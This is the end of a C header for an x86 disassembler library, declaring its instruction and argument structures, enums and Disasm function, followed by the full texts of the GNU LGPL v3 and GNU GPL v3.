   long long AddrValue;
   long long Immediat;
   long ImplicitModifiedRegs;
} INSTRTYPE;
#pragma pack()

#pragma pack(1)
typedef struct  {
   char ArgMnemonic[32];
   long ArgType;
   long ArgSize;
   long AccessMode;
   MEMORYTYPE Memory;
   long SegmentReg;
} ARGTYPE;
#pragma pack()



#pragma pack(1)
typedef struct _Disasm {
   long long EIP;
   long long VirtualAddr;
   long SecurityBlock;
   char CompleteInstr[INSTRUCT_LENGTH];
   long Archi;
   long Options;
   INSTRTYPE Instruction;
   ARGTYPE Argument1;
   ARGTYPE Argument2;
   ARGTYPE Argument3;
   PREFIXINFO Prefix;
} DISASM, *PDISASM, *LPDISASM;
#pragma pack()

#define ESReg 1
#define DSReg 2
#define FSReg 3
#define GSReg 4
#define CSReg 5
#define SSReg 6

#define InvalidPrefix 4
#define SuperfluousPrefix 2
#define NotUsedPrefix 0
#define MandatoryPrefix 8
#define InUsePrefix 1

enum INSTRUCTION_TYPE
{
  GENERAL_PURPOSE_INSTRUCTION = 0x10000,
  FPU_INSTRUCTION = 0x20000,
  MMX_INSTRUCTION = 0x40000,
  SSE_INSTRUCTION = 0x80000,
  SSE2_INSTRUCTION = 0x100000,
  SSE3_INSTRUCTION = 0x200000,
  SSSE3_INSTRUCTION = 0x400000,
  SSE41_INSTRUCTION = 0x800000,
  SSE42_INSTRUCTION = 0x1000000,
  SYSTEM_INSTRUCTION = 0x2000000,
  VM_INSTRUCTION = 0x4000000,
  UNDOCUMENTED_INSTRUCTION = 0x8000000,
  AMD_INSTRUCTION = 0x10000000,
  ILLEGAL_INSTRUCTION = 0x20000000,
  INCOMPATIBLE_TYPE = 0x80000000,


    DATA_TRANSFER = 0x1,
    ARITHMETIC_INSTRUCTION,
    LOGICAL_INSTRUCTION,
    SHIFT_ROTATE,
    BIT_BYTE,
    CONTROL_TRANSFER,
    STRING_INSTRUCTION,
    InOutINSTRUCTION,
    ENTER_LEAVE_INSTRUCTION,
    FLAG_CONTROL_INSTRUCTION,
    SEGMENT_REGISTER,
    MISCELLANEOUS_INSTRUCTION,
    COMPARISON_INSTRUCTION,
    LOGARITHMIC_INSTRUCTION,
    TRIGONOMETRIC_INSTRUCTION,
    UNSUPPORTED_INSTRUCTION,
    LOAD_CONSTANTS,
    FPUCONTROL,
    STATE_MANAGEMENT,
    CONVERSION_INSTRUCTION,
    SHUFFLE_UNPACK,
    PACKED_SINGLE_PRECISION,
    SIMD128bits,
    SIMD64bits,
    CACHEABILITY_CONTROL,
    FP_INTEGER_CONVERSION,
    SPECIALIZED_128bits,
    SIMD_FP_PACKED,
    SIMD_FP_HORIZONTAL ,
    AGENT_SYNCHRONISATION,
    PACKED_ALIGN_RIGHT  ,
    PACKED_SIGN,
    PACKED_BLENDING_INSTRUCTION,
    PACKED_TEST,
    PACKED_MINMAX,
    HORIZONTAL_SEARCH,
    PACKED_EQUALITY,
    STREAMING_LOAD,
    INSERTION_EXTRACTION,
    DOT_PRODUCT,
    SAD_INSTRUCTION,
    ACCELERATOR_INSTRUCTION,    // crc32, popcnt (sse4.2)
    ROUND_INSTRUCTION

};

enum EFLAGS_STATES
{
  TE_ = 1,
  MO_ = 2,
  RE_ = 4,
  SE_ = 8,
  UN_ = 0x10,
  PR_ = 0x20
};

enum BRANCH_TYPE
{
  JO = 1,
  JC,
  JE,
  JA,
  JS,
  JP,
  JL,
  JG,
  JB,
  JECXZ,
  JmpType,
  CallType,
  RetType,
  JNO = -1,
  JNC = -2,
  JNE = -3,
  JNA = -4,
  JNS = -5,
  JNP = -6,
  JNL = -7,
  JNG = -8,
  JNB = -9
};

enum ARGUMENTS_TYPE
{
  NO_ARGUMENT = 0x10000000,
  REGISTER_TYPE = 0x20000000,
  MEMORY_TYPE = 0x40000000,
  CONSTANT_TYPE = 0x80000000,

  MMX_REG = 0x10000,
  GENERAL_REG = 0x20000,
  FPU_REG = 0x40000,
  SSE_REG = 0x80000,
  CR_REG = 0x100000,
  DR_REG = 0x200000,
  SPECIAL_REG = 0x400000,
  MEMORY_MANAGEMENT_REG = 0x800000,
  SEGMENT_REG = 0x1000000,

  RELATIVE_ = 0x4000000,
  ABSOLUTE_ = 0x8000000,

  READ = 0x1,
  WRITE = 0x2,

  REG0 = 0x1,
  REG1 = 0x2,
  REG2 = 0x4,
  REG3 = 0x8,
  REG4 = 0x10,
  REG5 = 0x20,
  REG6 = 0x40,
  REG7 = 0x80,
  REG8 = 0x100,
  REG9 = 0x200,
  REG10 = 0x400,
  REG11 = 0x800,
  REG12 = 0x1000,
  REG13 = 0x2000,
  REG14 = 0x4000,
  REG15 = 0x8000,
};

enum SPECIAL_INFO
{
  UNKNOWN_OPCODE = -1,
  OUT_OF_BLOCK = 0,

  // === mask = 0xff
  NoTabulation      = 0x00000000,
  Tabulation        = 0x00000001,

  // === mask = 0xff00
  MasmSyntax        = 0x00000000,
  GoAsmSyntax       = 0x00000100,
  NasmSyntax        = 0x00000200,
  ATSyntax          = 0x00000400,

  // === mask = 0xff0000
  PrefixedNumeral   = 0x00010000,
  SuffixedNumeral   = 0x00000000,

  // === mask = 0xff000000
  ShowSegmentRegs   = 0x01000000
};


#ifdef __cplusplus
extern "C"
#endif
int __stdcall Disasm(LPDISASM pDisAsm);

#endif
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		   GNU LESSER GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.


  This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.

  0. Additional Definitions. 

  As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.

  "The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.

  An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.

  A "Combined Work" is a work produced by combining or linking an
Application with the Library.  The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".

  The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.

  The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.

  1. Exception to Section 3 of the GNU GPL.

  You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.

  2. Conveying Modified Versions.

  If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:

   a) under this License, provided that you make a good faith effort to
   ensure that, in the event an Application does not supply the
   function or data, the facility still operates, and performs
   whatever part of its purpose remains meaningful, or

   b) under the GNU GPL, with none of the additional permissions of
   this License applicable to that copy.

  3. Object Code Incorporating Material from Library Header Files.

  The object code form of an Application may incorporate material from
a header file that is part of the Library.  You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:

   a) Give prominent notice with each copy of the object code that the
   Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the object code with a copy of the GNU GPL and this license
   document.

  4. Combined Works.

  You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:

   a) Give prominent notice with each copy of the Combined Work that
   the Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the Combined Work with a copy of the GNU GPL and this license
   document.

   c) For a Combined Work that displays copyright notices during
   execution, include the copyright notice for the Library among
   these notices, as well as a reference directing the user to the
   copies of the GNU GPL and this license document.

   d) Do one of the following:

       0) Convey the Minimal Corresponding Source under the terms of this
       License, and the Corresponding Application Code in a form
       suitable for, and under terms that permit, the user to
       recombine or relink the Application with a modified version of
       the Linked Version to produce a modified Combined Work, in the
       manner specified by section 6 of the GNU GPL for conveying
       Corresponding Source.

       1) Use a suitable shared library mechanism for linking with the
       Library.  A suitable mechanism is one that (a) uses at run time
       a copy of the Library already present on the user's computer
       system, and (b) will operate properly with a modified version
       of the Library that is interface-compatible with the Linked
       Version. 

   e) Provide Installation Information, but only if you would otherwise
   be required to provide such information under section 6 of the
   GNU GPL, and only to the extent that such information is
   necessary to install and execute a modified version of the
   Combined Work produced by recombining or relinking the
   Application with a modified version of the Linked Version. (If
   you use option 4d0, the Installation Information must accompany
   the Minimal Corresponding Source and Corresponding Application
   Code. If you use option 4d1, you must provide the Installation
   Information in the manner specified by section 6 of the GNU GPL
   for conveying Corresponding Source.)

  5. Combined Libraries.

  You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:

   a) Accompany the combined library with a copy of the same work based
   on the Library, uncombined with any other library facilities,
   conveyed under the terms of this License.

   b) Give prominent notice with the combined library that part of it
   is a work based on the Library, and explaining where to find the
   accompanying uncombined form of the same work.

  6. Revised Versions of the GNU Lesser General Public License.

  The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.

  Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.

  If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.
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                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

